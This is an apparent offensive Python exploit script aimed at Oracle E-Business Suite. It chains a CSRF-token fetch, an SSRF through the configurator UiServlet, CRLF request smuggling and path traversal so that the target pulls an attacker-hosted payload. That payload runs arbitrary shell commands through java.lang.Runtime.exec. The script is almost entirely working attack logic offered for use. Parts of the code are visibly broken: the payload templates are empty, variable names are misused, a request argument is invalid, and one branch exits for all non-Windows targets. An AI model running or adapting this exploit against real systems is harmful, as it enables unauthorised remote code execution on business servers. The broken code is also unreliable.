import base64 import logging import sys import urllib.parse import requests import urllib3 from aiohttp import web urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) logging.basicConfig(level=logging.DEBUG) routes = web.RouteTableDef() sess = requests.Session() sess.verify = False conflagorator = "" @routes.get('/OA_HTML/help/../%252Fieshostedsurvey.xsl') async def h1(request): global conflagorator return web.Response(text=conflagorator) #https://docs.oracle.com/cd/E26401_01/doc.122/e49076/T349071T351261.htm @routes.post('/OA_HTML/help/../%252FibeCRgpIndividualUser.jsp') async def h2(request): global conflagorator return web.Response(text=conflagorator) def sess(tgt): global internals, hdr r = sess.get(tgt + "/OA_HTML/%252Frunforms.jsp", hdrs=hdr, allow_redirects=False) if r.status_code == 302: loc = r.hdrs['Location'] loc_url = urllib.parse.urlparse(loc) if loc_url.hostname != internals: print(f'+ {loc_url.hostname} reset') internals = loc_url.hostname sess.get(f'{tgt}{loc_url.path}?{loc_url.query}') h2 = hdr.copy() h2.update({"CSRF-XHR": "YES", "FETCH-CSRF-TOKEN": "1"}) r2 = sess.post(tgt + "/OA_HTML/JavaScriptServlet", hdrs=h2) tok = r2.text.split(":")[1] if tok: return tok else: sys.exit(1) def begingen(pl): if pl.startswith("POST "): pl = pl[5:] elif pl.startswith("GET "): pl = pl[4:] elif pl.startswith("PATCH "): pl = pl[6:] pl = pl.replace("\n", "\r\n") # entities Loooooooool return ''.join([f'&#{ord(c)};' for c in pl]) def ssrf(tgt, pl): xml = f''' test http://{internals}:7201{pl} 0runforms 0 Applet ''' print('+ ssrf attempt') sess.post(tgt + "/OA_HTML/configurator/UiServlet", hdrs=hdr, data={"redirectFromJsp": "1", "getUiType": xml}) print('+ check receiver server') def splitter(tgt, evil): sess(tgt) print('+ prepping brahhh ') keep = "\r\n\r\n\r\nPOST /" cookies = "; ".join([f"{c.name}={c.value}" for c in sess.cookies]) rce = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2 Host: {evil} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: keep-alive Cookie: {cookies} ''' rce += keep pl = begingen(rce) ssrf(tgt, pl) if __name__ == '__main__': print("hi") if len(sys.argv) < 2: print("wtf") sys.exit(1) mode = sys.argv[1] hdr = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"} if mode == "server": if len(sys.argv) != 5: sys.exit(1) port = int(sys.argv[2]) # censys/shod system = sys.argv[3].lower() cmd = sys.argv[4] shell = ['sh', '-c'] if system == 'windows': shell = ['cmd', '/c'] else: print("?") sys.exit(1) js = f""" var stringc = java.lang.Class.forName('java.lang.String'); var cmds = java.lang.reflect.Array.newInstance(stringc,3); java.lang.reflect.Array.set(cmds,0,'{shell[0]}'); java.lang.reflect.Array.set(cmds,1,'{shell[1]}'); java.lang.reflect.Array.set(cmds,2,'{cmd}'); java.lang.Runtime.getRuntime().exec(cmds); 1 """ b64jsp = base64.b64encode(js.encode()).decode() conflagorator = f''' ies ''' app = web.Application() app.add_routes(routes) web.run_app(app, port=port) elif mode == "clap": if len(sys.argv) != 4: sys.exit(1) targ = sys.argv[2] lmao = sys.argv[3] if targ.endswith("/"): targ = targ[:-1] internals = urllib.parse.urlparse(targ).hostname print(f'+ {internals}') splitter(targ, lmao) print("ok we GOOD") else: sys.exit(1)